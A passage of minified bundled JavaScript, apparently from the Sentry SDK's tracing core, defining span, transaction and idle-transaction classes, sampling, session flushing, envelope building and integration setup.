kB1.handleCallbackErrors(()=>K(J),()=>{if(J){let{status:O}=UsA.spanToJSON(J);if(!O||O==="ok")J.setStatus("internal_error")}},()=>J&&J.end())})})}var Lgq=sM8;function Rgq(A,K){let q=dsA(A);return _i.runWithAsyncContext(()=>{return WHA.withScope(A.scope,(Y)=>{let z=_i.getCurrentHub(),w=Y.getSpan(),J=A.onlyIfParent&&!w?void 0:psA(z,{parentSpan:w,spanContext:q,forceTransaction:A.forceTransaction,scope:Y});function O(){J&&J.end()}return kB1.handleCallbackErrors(()=>K(J,O),()=>{if(J&&J.isRecording()){let{status:X}=UsA.spanToJSON(J);if(!X||X==="ok")J.setStatus("internal_error")}})})})}function ygq(A){if(!aM8.hasTracingEnabled())return;let K=dsA(A),q=_i.getCurrentHub(),Y=A.scope?A.scope.getSpan():tM8();if(A.onlyIfParent&&!Y)return;let H=(A.scope||WHA.getCurrentScope()).clone();return psA(q,{parentSpan:Y,spanContext:K,forceTransaction:A.forceTransaction,scope:H})}function tM8(){return WHA.getCurrentScope().getSpan()}var Igq=({sentryTrace:A,baggage:K},q)=>{let Y=WHA.getCurrentScope(),{traceparentData:z,dynamicSamplingContext:w,propagationContext:H}=vvA.tracingContextFromHeaders(A,K);if(Y.setPropagationContext(H),Egq.DEBUG_BUILD&&z)vvA.logger.log(`[Tracing] Continuing trace ${z.traceId}.`);let J={...z,metadata:vvA.dropUndefinedKeys({dynamicSamplingContext:w})};if(!q)return J;return _i.runWithAsyncContext(()=>{return q(J)})};function psA(A,{parentSpan:K,spanContext:q,forceTransaction:Y,scope:z}){if(!aM8.hasTracingEnabled())return;let w=_i.getIsolationScope(),H;if(K&&!Y)H=K.startChild(q);else if(K){let J=kgq.getDynamicSamplingContextFromSpan(K),{traceId:O,spanId:X}=K.spanContext(),$=UsA.spanIsSampled(K);H=A.startTransaction({traceId:O,parentSpanId:X,parentSampled:$,...q,metadata:{dynamicSamplingContext:J,...q.metadata}})}else{let{traceId:J,dsc:O,parentSpanId:X,sampled:$}={...w.getPropagationContext(),...z.getPropagationContext()};H=A.startTransaction({traceId:J,parentSpanId:X,parentSampled:$,...q,metadata:{dynamicSamplingContext:O,...q.metadata}})}return z.setSpan(H),Sgq(H,z,w),H}function dsA(A){if(A.startTime){let K={...A};return K.startTimestamp=UsA.spanTimeInputToSeconds(A.startTime),delete K.startTime,K}return A}var eM8="_sentryScope",AP8="_sentryIsolationScope";function Sgq(A,K,q){if(A)vvA.addNonEnumerableProperty(A,AP8,q),vvA.addNonEnumerableProperty(A,eM8,K)}function hgq(A){return{scope:A[eM8],isolationScope:A[AP8]}}KP8.continueTrace=Igq;KP8.getActiveSpan=tM8;KP8.getCapturedScopesOnSpan=hgq;KP8.startActiveSpan=Lgq;KP8.startInactiveSpan=ygq;KP8.startSpan=sM8;KP8.startSpanManual=Rgq;KP8.trace=Cgq});var kvA=v((YP8)=>{Object.defineProperty(YP8,"__esModule",{value:!0});var Ugq=H8();FX();FsA();ZHA();var pgq=csA(),EvA;function qP8(A){return EvA?EvA.get(A):void 0}function dgq(A){let K=qP8(A);if(!K)return;let q={};for(let[,[Y,z]]of K){if(!q[Y])q[Y]=[];q[Y].push(Ugq.dropUndefinedKeys(z))}return q}function cgq(A,K,q,Y,z,w){let H=pgq.getActiveSpan();if(H){let J=qP8(H)||new Map,O=`${A}:${K}@${Y}`,X=J.get(w);if(X){let[,$]=X;J.set(w,[O,{min:Math.min($.min,q),max:Math.max($.max,q),count:$.count+=1,sum:$.sum+=q,tags:$.tags}])}else J.set(w,[O,{min:q,max:q,count:1,sum:q,tags:z}]);if(!EvA)EvA=new WeakMap;EvA.set(H,J)}}YP8.getMetricSummaryJsonForSpan=dgq;YP8.updateMetricSummaryOnActiveSpan=cgq});var CvA=v((zP8)=>{Object.defineProperty(zP8,"__esModule",{value:!0});var ngq="sentry.source",rgq="sentry.sample_rate",ogq="sentry.op",agq="sentry.origin",sgq="profile_id";zP8.SEMANTIC_ATTRIBUTE_PROFILE_ID=sgq;zP8.SEMANTIC_ATTRIBUTE_SENTRY_OP=ogq;zP8.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN=agq;zP8.SEMANTIC_ATTRIBUTE_SENTRY_SAMPLE_RATE=rgq;zP8.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE=ngq});var lsA=v((OP8)=>{Object.defineProperty(OP8,"__esModule",{value:!0});var o1A=H8(),wP8=FX(),YFq=kvA(),AF=CvA(),HP8=$HA(),DHA=qV(),zFq=ZHA();class JP8{constructor(A=1000){this._maxlen=A,this.spans=[]}add(A){if(this.spans.length>this._maxlen)A.spanRecorder=void 0;else this.spans.push(A)}}class CB1{constructor(A={}){if(this._traceId=A.traceId||o1A.uuid4(),this._spanId=A.spanId||o1A.uuid4().substring(16),this._startTime=A.startTimestamp||o1A.timestampInSeconds(),this.tags=A.tags?{...A.tags}:{},this.data=A.data?{...A.data}:{},this.instrumenter=A.instrumenter||"sentry",this._attributes={},this.setAttributes({[AF.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN]:A.origin||"manual",[AF.SEMANTIC_ATTRIBUTE_SENTRY_OP]:A.op,...A.attributes}),this._name=A.name||A.description,A.parentSpanId)this._parentSpanId=A.parentSpanId;if("sampled"in A)this._sampled=A.sampled;if(A.status)this._status=A.status;if(A.endTimestamp)this._endTime=A.endTimestamp;if(A.exclusiveTime!==void 0)this._exclusiveTime=A.exclusiveTime;this._measurements=A.measurements?{...A.measurements}:{}}get name(){return this._name||""}set name(A){this.updateName(A)}get description(){return this._name}set description(A){this._name=A}get traceId(){return this._traceId}set traceId(A){this._traceId=A}get spanId(){return this._spanId}set spanId(A){this._spanId=A}set parentSpanId(A){this._parentSpanId=A}get parentSpanId(){return this._parentSpanId}get sampled(){return this._sampled}set sampled(A){this._sampled=A}get attributes(){return this._attributes}set attributes(A){this._attributes=A}get startTimestamp(){return this._startTime}set startTimestamp(A){this._startTime=A}get endTimestamp(){return this._endTime}set endTimestamp(A){this._endTime=A}get status(){return this._status}set status(A){this._status=A}get op(){return this._attributes[AF.SEMANTIC_ATTRIBUTE_SENTRY_OP]}set op(A){this.setAttribute(AF.SEMANTIC_ATTRIBUTE_SENTRY_OP,A)}get origin(){return this._attributes[AF.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN]}set origin(A){this.setAttribute(AF.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN,A)}spanContext(){let{_spanId:A,_traceId:K,_sampled:q}=this;return{spanId:A,traceId:K,traceFlags:q?DHA.TRACE_FLAG_SAMPLED:DHA.TRACE_FLAG_NONE}}startChild(A){let K=new CB1({...A,parentSpanId:this._spanId,sampled:this._sampled,traceId:this._traceId});if(K.spanRecorder=this.spanRecorder,K.spanRecorder)K.spanRecorder.add(K);let q=HP8.getRootSpan(this);if(K.transaction=q,wP8.DEBUG_BUILD&&q){let Y=A&&A.op||"< unknown op >",z=DHA.spanToJSON(K).description||"< unknown name >",w=q.spanContext().spanId,H=`[Tracing] Starting '${Y}' span on transaction '${z}' (${w}).`;o1A.logger.log(H),this._logMessage=H}return K}setTag(A,K){return this.tags={...this.tags,[A]:K},this}setData(A,K){return this.data={...this.data,[A]:K},this}setAttribute(A,K){if(K===void 0)delete this._attributes[A];else this._attributes[A]=K}setAttributes(A){Object.keys(A).forEach((K)=>this.setAttribute(K,A[K]))}setStatus(A){return this._status=A,this}setHttpStatus(A){return zFq.setHttpStatus(this,A),this}setName(A){this.updateName(A)}updateName(A){return this._name=A,this}isSuccess(){return this._status==="ok"}finish(A){return this.end(A)}end(A){if(this._endTime)return;let K=HP8.getRootSpan(this);if(wP8.DEBUG_BUILD&&K&&K.spanContext().spanId!==this._spanId){let q=this._logMessage;if(q)o1A.logger.log(q.replace("Starting","Finishing"))}this._endTime=DHA.spanTimeInputToSeconds(A)}toTraceparent(){return DHA.spanToTraceHeader(this)}toContext(){return o1A.dropUndefinedKeys({data:this._getData(),description:this._name,endTimestamp:this._endTime,op:this.op,parentSpanId:this._parentSpanId,sampled:this._sampled,spanId:this._spanId,startTimestamp:this._startTime,status:this._status,tags:this.tags,traceId:this._traceId})}updateWithContext(A){return this.data=A.data||{},this._name=A.name||A.description,this._endTime=A.endTimestamp,this.op=A.op,this._parentSpanId=A.parentSpanId,this._sampled=A.sampled,this._spanId=A.spanId||this._spanId,this._startTime=A.startTimestamp||this._startTime,this._status=A.status,this.tags=A.tags||{},this._traceId=A.traceId||this._traceId,this}getTraceContext(){return DHA.spanToTraceContext(this)}getSpanJSON(){return o1A.dropUndefinedKeys({data:this._getData(),description:this._name,op:this._attributes[AF.SEMANTIC_ATTRIBUTE_SENTRY_OP],parent_span_id:this._parentSpanId,span_id:this._spanId,start_timestamp:this._startTime,status:this._status,tags:Object.keys(this.tags).length>0?this.tags:void 0,timestamp:this._endTime,trace_id:this._traceId,origin:this._attributes[AF.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN],_metrics_summary:YFq.getMetricSummaryJsonForSpan(this),profile_id:this._attributes[AF.SEMANTIC_ATTRIBUTE_PROFILE_ID],exclusive_time:this._exclusiveTime,measurements:Object.keys(this._measurements).length>0?this._measurements:void 0})}isRecording(){return!this._endTime&&!!this._sampled}toJSON(){return this.getSpanJSON()}_getData(){let{data:A,_attributes:K}=this,q=Object.keys(A).length>0,Y=Object.keys(K).length>0;if(!q&&!Y)return;if(q&&Y)return{...A,...K};return q?A:K}}OP8.Span=CB1;OP8.SpanRecorder=JP8});var rsA=v((GP8)=>{Object.defineProperty(GP8,"__esModule",{value:!0});var jHA=H8(),isA=FX(),JFq=Gb(),OFq=kvA(),LvA=CvA(),nsA=qV(),XP8=n1A(),$P8=lsA(),XFq=csA();class _P8 extends $P8.Span{constructor(A,K){super(A);this._contexts={},this._hub=K||JFq.getCurrentHub(),this._name=A.name||"",this._metadata={...A.metadata},this._trimEnd=A.trimEnd,this.transaction=this;let q=this._metadata.dynamicSamplingContext;if(q)this._frozenDynamicSamplingContext={...q}}get name(){return this._name}set name(A){this.setName(A)}get metadata(){return{source:"custom",spanMetadata:{},...this._metadata,...this._attributes[LvA.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE]&&{source:this._attributes[LvA.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE]},...this._attributes[LvA.SEMANTIC_ATTRIBUTE_SENTRY_SAMPLE_RATE]&&{sampleRate:this._attributes[LvA.SEMANTIC_ATTRIBUTE_SENTRY_SAMPLE_RATE]}}}set metadata(A){this._metadata=A}setName(A,K="custom"){this._name=A,this.setAttribute(LvA.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE,K)}updateName(A){return this._name=A,this}initSpanRecorder(A=1000){if(!this.spanRecorder)this.spanRecorder=new $P8.SpanRecorder(A);this.spanRecorder.add(this)}setContext(A,K){if(K===null)delete this._contexts[A];else this._contexts[A]=K}setMeasurement(A,K,q=""){this._measurements[A]={value:K,unit:q}}setMetadata(A){this._metadata={...this._metadata,...A}}end(A){let K=nsA.spanTimeInputToSeconds(A),q=this._finishTransaction(K);if(!q)return;return this._hub.captureEvent(q)}toContext(){let A=super.toContext();return jHA.dropUndefinedKeys({...A,name:this._name,trimEnd:this._trimEnd})}updateWithContext(A){return super.updateWithContext(A),this._name=A.name||"",this._trimEnd=A.trimEnd,this}getDynamicSamplingContext(){return XP8.getDynamicSamplingContextFromSpan(this)}setHub(A){this._hub=A}getProfileId(){if(this._contexts!==void 0&&this._contexts.profile!==void 0)return this._contexts.profile.profile_id;return}_finishTransaction(A){if(this._endTime!==void 0)return;if(!this._name)isA.DEBUG_BUILD&&jHA.logger.warn("Transaction has no name, falling back to `<unlabeled transaction>`."),this._name="<unlabeled transaction>";super.end(A);let K=this._hub.getClient();if(K&&K.emit)K.emit("finishTransaction",this);if(this._sampled!==!0){if(isA.DEBUG_BUILD&&jHA.logger.log("[Tracing] Discarding transaction because its trace was not chosen to be sampled."),K)K.recordDroppedEvent("sample_rate","transaction");return}let q=this.spanRecorder?this.spanRecorder.spans.filter((X)=>X!==this&&nsA.spanToJSON(X).timestamp):[];if(this._trimEnd&&q.length>0){let X=q.map(($)=>nsA.spanToJSON($).timestamp).filter(Boolean);this._endTime=X.reduce(($,_)=>{return $>_?$:_})}let{scope:Y,isolationScope:z}=XFq.getCapturedScopesOnSpan(this),{metadata:w}=this,{source:H}=w,J={contexts:{...this._contexts,trace:nsA.spanToTraceContext(this)},spans:q,start_timestamp:this._startTime,tags:this.tags,timestamp:this._endTime,transaction:this._name,type:"transaction",sdkProcessingMetadata:{...w,capturedSpanScope:Y,capturedSpanIsolationScope:z,...jHA.dropUndefinedKeys({dynamicSamplingContext:XP8.getDynamicSamplingContextFromSpan(this)})},_metrics_summary:OFq.getMetricSummaryJsonForSpan(this),...H&&{transaction_info:{source:H}}};if(Object.keys(this._measurements).length>0)isA.DEBUG_BUILD&&jHA.logger.log("[Measurements] Adding measurements to transaction",JSON.stringify(this._measurements,void 0,2)),J.measurements=this._measurements;return isA.DEBUG_BUILD&&jHA.logger.log(`[Tracing] Finishing ${this.op} transaction: ${this._name}.`),J}}GP8.Transaction=_P8});var RB1=v((WP8)=>{Object.defineProperty(WP8,"__esModule",{value:!0});var wD=H8(),YV=FX(),osA=qV(),_Fq=lsA(),GFq=rsA(),asA={idleTimeout:1000,finalTimeout:30000,heartbeatInterval:5000},ZFq="finishReason",MHA=["heartbeatFailed","idleTimeout","documentHidden","finalTimeout","externalFinish","cancelled"];class LB1 extends _Fq.SpanRecorder{constructor(A,K,q,Y){super(Y);this._pushActivity=A,this._popActivity=K,this.transactionSpanId=q}add(A){if(A.spanContext().spanId!==this.transactionSpanId){let K=A.end;if(A.end=(...q)=>{return this._popActivity(A.spanContext().spanId),K.apply(A,q)},osA.spanToJSON(A).timestamp===void 0)this._pushActivity(A.spanContext().spanId)}super.add(A)}}class ZP8 extends GFq.Transaction{constructor(A,K,q=asA.idleTimeout,Y=asA.finalTimeout,z=asA.heartbeatInterval,w=!1,H=!1){super(A,K);if(this._idleHub=K,this._idleTimeout=q,this._finalTimeout=Y,this._heartbeatInterval=z,this._onScope=w,this.activities={},this._heartbeatCounter=0,this._finished=!1,this._idleTimeoutCanceledPermanently=!1,this._beforeFinishCallbacks=[],this._finishReason=MHA[4],this._autoFinishAllowed=!H,w)YV.DEBUG_BUILD&&wD.logger.log(`Setting idle transaction on scope. Span ID: ${this.spanContext().spanId}`),K.getScope().setSpan(this);if(!H)this._restartIdleTimeout();setTimeout(()=>{if(!this._finished)this.setStatus("deadline_exceeded"),this._finishReason=MHA[3],this.end()},this._finalTimeout)}end(A){let K=osA.spanTimeInputToSeconds(A);if(this._finished=!0,this.activities={},this.op==="ui.action.click")this.setAttribute(ZFq,this._finishReason);if(this.spanRecorder){YV.DEBUG_BUILD&&wD.logger.log("[Tracing] finishing IdleTransaction",new Date(K*1000).toISOString(),this.op);for(let q of this._beforeFinishCallbacks)q(this,K);this.spanRecorder.spans=this.spanRecorder.spans.filter((q)=>{if(q.spanContext().spanId===this.spanContext().spanId)return!0;if(!osA.spanToJSON(q).timestamp)q.setStatus("cancelled"),q.end(K),YV.DEBUG_BUILD&&wD.logger.log("[Tracing] cancelling span since transaction ended early",JSON.stringify(q,void 0,2));let{start_timestamp:Y,timestamp:z}=osA.spanToJSON(q),w=Y&&Y<K,H=(this._finalTimeout+this._idleTimeout)/1000,J=z&&Y&&z-Y<H;if(YV.DEBUG_BUILD){let O=JSON.stringify(q,void 0,2);if(!w)wD.logger.log("[Tracing] discarding Span since it happened after Transaction was finished",O);else if(!J)wD.logger.log("[Tracing] discarding Span since it finished after Transaction final timeout",O)}return w&&J}),YV.DEBUG_BUILD&&wD.logger.log("[Tracing] flushing IdleTransaction")}else YV.DEBUG_BUILD&&wD.logger.log("[Tracing] No active IdleTransaction");if(this._onScope){let q=this._idleHub.getScope();if(q.getTransaction()===this)q.setSpan(void 0)}return super.end(A)}registerBeforeFinishCallback(A){this._beforeFinishCallbacks.push(A)}initSpanRecorder(A){if(!this.spanRecorder){let K=(Y)=>{if(this._finished)return;this._pushActivity(Y)},q=(Y)=>{if(this._finished)return;this._popActivity(Y)};this.spanRecorder=new LB1(K,q,this.spanContext().spanId,A),YV.DEBUG_BUILD&&wD.logger.log("Starting heartbeat"),this._pingHeartbeat()}this.spanRecorder.add(this)}cancelIdleTimeout(A,{restartOnChildSpanChange:K}={restartOnChildSpanChange:!0}){if(this._idleTimeoutCanceledPermanently=K===!1,this._idleTimeoutID){if(clearTimeout(this._idleTimeoutID),this._idleTimeoutID=void 0,Object.keys(this.activities).length===0&&this._idleTimeoutCanceledPermanently)this._finishReason=MHA[5],this.end(A)}}setFinishReason(A){this._finishReason=A}sendAutoFinishSignal(){if(!this._autoFinishAllowed)YV.DEBUG_BUILD&&wD.logger.log("[Tracing] Received finish signal for idle transaction."),this._restartIdleTimeout(),this._autoFinishAllowed=!0}_restartIdleTimeout(A){this.cancelIdleTimeout(),this._idleTimeoutID=setTimeout(()=>{if(!this._finished&&Object.keys(this.activities).length===0)this._finishReason=MHA[1],this.end(A)},this._idleTimeout)}_pushActivity(A){this.cancelIdleTimeout(void 0,{restartOnChildSpanChange:!this._idleTimeoutCanceledPermanently}),YV.DEBUG_BUILD&&wD.logger.log(`[Tracing] pushActivity: ${A}`),this.activities[A]=!0,YV.DEBUG_BUILD&&wD.logger.log("[Tracing] new activities count",Object.keys(this.activities).length)}_popActivity(A){if(this.activities[A])YV.DEBUG_BUILD&&wD.logger.log(`[Tracing] popActivity ${A}`),delete this.activities[A],YV.DEBUG_BUILD&&wD.logger.log("[Tracing] new activities count",Object.keys(this.activities).length);if(Object.keys(this.activities).length===0){let K=wD.timestampInSeconds();if(this._idleTimeoutCanceledPermanently){if(this._autoFinishAllowed)this._finishReason=MHA[5],this.end(K)}else this._restartIdleTimeout(K+this._idleTimeout/1000)}}_beat(){if(this._finished)return;let A=Object.keys(this.activities).join("");if(A===this._prevHeartbeatString)this._heartbeatCounter++;else this._heartbeatCounter=1;if(this._prevHeartbeatString=A,this._heartbeatCounter>=3){if(this._autoFinishAllowed)YV.DEBUG_BUILD&&wD.logger.log("[Tracing] Transaction finished because of no change for 3 heart beats"),this.setStatus("deadline_exceeded"),this._finishReason=MHA[0],this.end()}else this._pingHeartbeat()}_pingHeartbeat(){YV.DEBUG_BUILD&&wD.logger.log(`pinging Heartbeat -> current counter: ${this._heartbeatCounter}`),setTimeout(()=>{this._beat()},this._heartbeatInterval)}}WP8.IdleTransaction=ZP8;WP8.IdleTransactionSpanRecorder=LB1;WP8.TRACING_DEFAULTS=asA});var yB1=v((jP8)=>{Object.defineProperty(jP8,"__esModule",{value:!0});var a1A=H8(),PHA=FX(),ssA=CvA(),MFq=QsA(),PFq=qV();function VFq(A,K,q){if(!MFq.hasTracingEnabled(K))return A.sampled=!1,A;if(A.sampled!==void 0)return A.setAttribute(ssA.SEMANTIC_ATTRIBUTE_SENTRY_SAMPLE_RATE,Number(A.sampled)),A;let Y;if(typeof K.tracesSampler==="function")Y=K.tracesSampler(q),A.setAttribute(ssA.SEMANTIC_ATTRIBUTE_SENTRY_SAMPLE_RATE,Number(Y));else if(q.parentSampled!==void 0)Y=q.parentSampled;else if(typeof K.tracesSampleRate<"u")Y=K.tracesSampleRate,A.setAttribute(ssA.SEMANTIC_ATTRIBUTE_SENTRY_SAMPLE_RATE,Number(Y));else Y=1,A.setAttribute(ssA.SEMANTIC_ATTRIBUTE_SENTRY_SAMPLE_RATE,Y);if(!DP8(Y))return PHA.DEBUG_BUILD&&a1A.logger.warn("[Tracing] Discarding transaction because of invalid sample rate."),A.sampled=!1,A;if(!Y)return PHA.DEBUG_BUILD&&a1A.logger.log(`[Tracing] Discarding transaction because ${typeof K.tracesSampler==="function"?"tracesSampler returned 0 or false":"a negative sampling decision was inherited or tracesSampleRate is set to 0"}`),A.sampled=!1,A;if(A.sampled=Math.random()<Y,!A.sampled)return PHA.DEBUG_BUILD&&a1A.logger.log(`[Tracing] Discarding transaction because it's not included in the random sample (sampling rate = ${Number(Y)})`),A;return PHA.DEBUG_BUILD&&a1A.logger.log(`[Tracing] starting ${A.op} transaction - ${PFq.spanToJSON(A).description}`),A}function DP8(A){if(a1A.isNaN(A)||!(typeof A==="number"||typeof A==="boolean"))return PHA.DEBUG_BUILD&&a1A.logger.warn(`[Tracing] Given sample rate is invalid. Sample rate must be a boolean or a number between 0 and 1. Got ${JSON.stringify(A)} of type ${JSON.stringify(typeof A)}.`),!1;if(A<0||A>1)return PHA.DEBUG_BUILD&&a1A.logger.warn(`[Tracing] Given sample rate is invalid. Sample rate must be between 0 and 1. Got ${A}.`),!1;return!0}jP8.isValidSampleRate=DP8;jP8.sampleTransaction=VFq});var IB1=v((PP8)=>{Object.defineProperty(PP8,"__esModule",{value:!0});var TFq=H8(),vFq=FX(),EFq=Gb(),kFq=qV(),CFq=FsA(),LFq=RB1(),MP8=yB1(),RFq=rsA();function yFq(){let K=this.getScope().getSpan();return K?{"sentry-trace":kFq.spanToTraceHeader(K)}:{}}function IFq(A,K){let q=this.getClient(),Y=q&&q.getOptions()||{},z=Y.instrumenter||"sentry",w=A.instrumenter||"sentry";if(z!==w)vFq.DEBUG_BUILD&&TFq.logger.error(`A transaction was started with instrumenter=\`${w}\`, but the SDK is configured with the \`${z}\` instrumenter. The transaction will not be sampled. Please use the ${z} instrumentation to start transactions.`),A.sampled=!1;let H=new RFq.Transaction(A,this);if(H=MP8.sampleTransaction(H,Y,{name:A.name,parentSampled:A.parentSampled,transactionContext:A,attributes:{...A.data,...A.attributes},...K}),H.isRecording())H.initSpanRecorder(Y._experiments&&Y._experiments.maxSpans);if(q&&q.emit)q.emit("startTransaction",H);return H}function SFq(A,K,q,Y,z,w,H,J=!1){let O=A.getClient(),X=O&&O.getOptions()||{},$=new LFq.IdleTransaction(K,A,q,Y,H,z,J);if($=MP8.sampleTransaction($,X,{name:K.name,parentSampled:K.parentSampled,transactionContext:K,attributes:{...K.data,...K.attributes},...w}),$.isRecording())$.initSpanRecorder(X._experiments&&X._experiments.maxSpans);if(O&&O.emit)O.emit("startTransaction",$);return $}function hFq(){let A=EFq.getMainCarrier();if(!A.__SENTRY__)return;if(A.__SENTRY__.extensions=A.__SENTRY__.extensions||{},!A.__SENTRY__.extensions.startTransaction)A.__SENTRY__.extensions.startTransaction=IFq;if(!A.__SENTRY__.extensions.traceHeaders)A.__SENTRY__.extensions.traceHeaders=yFq;CFq.registerErrorInstrumentation()}PP8.addTracingExtensions=hFq;PP8.startIdleTransaction=SFq});var fP8=v((VP8)=>{Object.defineProperty(VP8,"__esModule",{value:!0});var uFq=gsA();function BFq(A,K,q){let Y=uFq.getActiveTransaction();if(Y)Y.setMeasurement(A,K,q)}VP8.setMeasurement=BFq});var SB1=v((NP8)=>{Object.defineProperty(NP8,"__esModule",{value:!0});var VHA=H8();function gFq(A,K){if(!K)return A;return A.sdk=A.sdk||{},A.sdk.name=A.sdk.name||K.name,A.sdk.version=A.sdk.version||K.version,A.sdk.integrations=[...A.sdk.integrations||[],...K.integrations||[]],A.sdk.packages=[...A.sdk.packages||[],...K.packages||[]],A}function FFq(A,K,q,Y){let z=VHA.getSdkMetadataForEnvelopeHeader(q),w={sent_at:new Date().toISOString(),...z&&{sdk:z},...!!Y&&K&&{dsn:VHA.dsnToString(K)}},H="aggregates"in A?[{type:"sessions"},A]:[{type:"session"},A.toJSON()];return VHA.createEnvelope(w,[H])}function QFq(A,K,q,Y){let z=VHA.getSdkMetadataForEnvelopeHeader(q),w=A.type&&A.type!=="replay_event"?A.type:"event";gFq(A,q&&q.sdk);let H=VHA.createEventEnvelopeHeaders(A,z,Y,K);delete A.sdkProcessingMetadata;let J=[{type:w},A];return VHA.createEnvelope(H,[J])}NP8.createEventEnvelope=QFq;NP8.createSessionEnvelope=FFq});var hB1=v((vP8)=>{Object.defineProperty(vP8,"__esModule",{value:!0});var dFq=H8(),cFq=xE();class TP8{constructor(A,K){if(this._client=A,this.flushTimeout=60,this._pendingAggregates={},this._isEnabled=!0,this._intervalId=setInterval(()=>this.flush(),this.flushTimeout*1000),this._intervalId.unref)this._intervalId.unref();this._sessionAttrs=K}flush(){let A=this.getSessionAggregates();if(A.aggregates.length===0)return;this._pendingAggregates={},this._client.sendSession(A)}getSessionAggregates(){let A=Object.keys(this._pendingAggregates).map((q)=>{return this._pendingAggregates[parseInt(q)]}),K={attrs:this._sessionAttrs,aggregates:A};return dFq.dropUndefinedKeys(K)}close(){clearInterval(this._intervalId),this._isEnabled=!1,this.flush()}incrementSessionStatusCount(){if(!this._isEnabled)return;let A=cFq.getCurrentScope(),K=A.getRequestSession();if(K&&K.status)this._incrementSessionStatusCount(K.status,new Date),A.setRequestSession(void 0)}_incrementSessionStatusCount(A,K){let q=new Date(K).setSeconds(0,0);this._pendingAggregates[q]=this._pendingAggregates[q]||{};let Y=this._pendingAggregates[q];if(!Y.started)Y.started=new Date(q).toISOString();switch(A){case"errored":return Y.errored=(Y.errored||0)+1,Y.errored;case"ok":return Y.exited=(Y.exited||0)+1,Y.exited;default:return Y.crashed=(Y.crashed||0)+1,Y.crashed}}}vP8.SessionFlusher=TP8});var tsA=v((kP8)=>{Object.defineProperty(kP8,"__esModule",{value:!0});var bB1=H8(),iFq="7";function EP8(A){let K=A.protocol?`${A.protocol}:`:"",q=A.port?`:${A.port}`:"";return`${K}//${A.host}${q}${A.path?`/${A.path}`:""}/api/`}function nFq(A){return`${EP8(A)}${A.projectId}/envelope/`}function rFq(A,K){return bB1.urlEncode({sentry_key:A.publicKey,sentry_version:iFq,...K&&{sentry_client:`${K.name}/${K.version}`}})}function oFq(A,K={}){let q=typeof K==="string"?K:K.tunnel,Y=typeof K==="string"||!K._metadata?void 0:K._metadata.sdk;return q?q:`${nFq(A)}?${rFq(A,Y)}`}function aFq(A,K){let q=bB1.makeDsn(A);if(!q)return"";let Y=`${EP8(q)}embed/error-page/`,z=`dsn=${bB1.dsnToString(q)}`;for(let w in K){if(w==="dsn")continue;if(w==="onClose")continue;if(w==="user"){let H=K.user;if(!H)continue;if(H.name)z+=`&name=${encodeURIComponent(H.name)}`;if(H.email)z+=`&email=${encodeURIComponent(H.email)}`}else z+=`&${encodeURIComponent(w)}=${encodeURIComponent(K[w])}`}return`${Y}?${z}`}kP8.getEnvelopeEndpointWithUrlEncodedAuth=oFq;kP8.getReportDialogEndpoint=aFq});var KF=v((LP8)=>{Object.defineProperty(LP8,"__esModule",{value:!0});var esA=H8(),xB1=FX(),eFq=MvA(),AQq=xE(),KQq=Gb(),uB1=[];function qQq(A){let K={};return A.forEach((q)=>{let{name:Y}=q,z=K[Y];if(z&&!z.isDefaultInstance&&q.isDefaultInstance)return;K[Y]=q}),Object.keys(K).map((q)=>K[q])}function YQq(A){let K=A.defaultIntegrations||[],q=A.integrations;K.forEach((H)=>{H.isDefaultInstance=!0});let Y;if(Array.isArray(q))Y=[...K,...q];else if(typeof q==="function")Y=esA.arrayify(q(K));else Y=K;let z=qQq(Y),w=JQq(z,(H)=>H.name==="Debug");if(w!==-1){let[H]=z.splice(w,1);z.push(H)}return z}function zQq(A,K){let q={};return K.forEach((Y)=>{if(Y)CP8(A,Y,q)}),q}function wQq(A,K){for(let q of K)if(q&&q.afterAllSetup)q.afterAllSetup(A)}function CP8(A,K,q){if(q[K.name]){xB1.DEBUG_BUILD&&esA.logger.log(`Integration skipped because it was already installed: ${K.name}`);return}if(q[K.name]=K,uB1.indexOf(K.name)===-1)K.setupOnce(eFq.addGlobalEventProcessor,KQq.getCurrentHub),uB1.push(K.name);if(K.setup&&typeof K.setup==="function")K.setup(A);if(A.on&&typeof K.preprocessEvent==="function"){let Y=K.preprocessEvent.bind(K);A.on("preprocessEvent",(z,w)=>Y(z,w,A))}if(A.addEventProcessor&&typeof K.processEvent==="function"){let Y=K.processEvent.bind(K),z=Object.assign((w,H)=>Y(w,H,A),{id:K.name});A.addEventProcessor(z)}xB1.DEBUG_BUILD&&esA.logger.log(`Integration installed: ${K.name}`)}function HQq(A){let K=AQq.getClient();if(!K||!K.addIntegration){xB1.DEBUG_BUILD&&esA.logger.warn(`Cannot add integration "${A.name}" because no SDK Client is available.`);return}K.addIntegration(A)}function JQq(A,K){for(let q=0;q<A.length;q++)if(K(A[q])===!0)return q;return-1}function OQq(A,K){return Object.assign(function(...Y){return K(...Y)},{id:A})}function XQq(A){return A}LP8.addIntegration=HQq;LP8.afterSetupIntegrations=wQq;LP8.convertIntegrationFnToClass=OQq;LP8.defineIntegration=XQq;LP8.getIntegrationsToSetup=YQq;LP8.installedIntegrations=uB1;LP8.setupIntegration=CP8;LP8.setupIntegrations=zQq});var RvA=v((RP8)=>{Object.defineProperty(RP8,"__esModule",{value:!0});var PQq=H8();function VQq(A,K,q,Y){let z=Object.entries(PQq.dropUndefinedKeys(Y)).sort((w,H)=>w[0].localeCompare(H[0]));return`${A}${K}${q}${z}`}function fQq(A){let K=0;for(let q=0;q<A.length;q++){let Y=A.charCodeAt(q);K=(K<<5)-K+Y,K&=K}return K>>>0}function NQq(A){let K="";for(let q of A){let Y=Object.entries(q.tags),z=Y.length>0?`|#${Y.map(([w,H])=>`${w}:${H}`).join(",")}`:"";K+=`${q.name}@${q.unit}:${q.metric}|${q.metricType}${z}|T${q.timestamp} `}return K}function TQq(A){return A.replace(/[^\w]+/gi,"_")}function vQq(A){return A.replace(/[^\w\-.]+/gi,"_")}function EQq(A){return A.replace(/[^\w\-./]+/gi,"")}var kQq=[[` `,"\\n"],["\r","\\r"],["\t","\\t"],["\\","\\\\"],["|","\\u{7c}"],[",","\\u{2c}"]];function CQq(A){for(let[K,q]of kQq)if(A===K)return q;return A}function 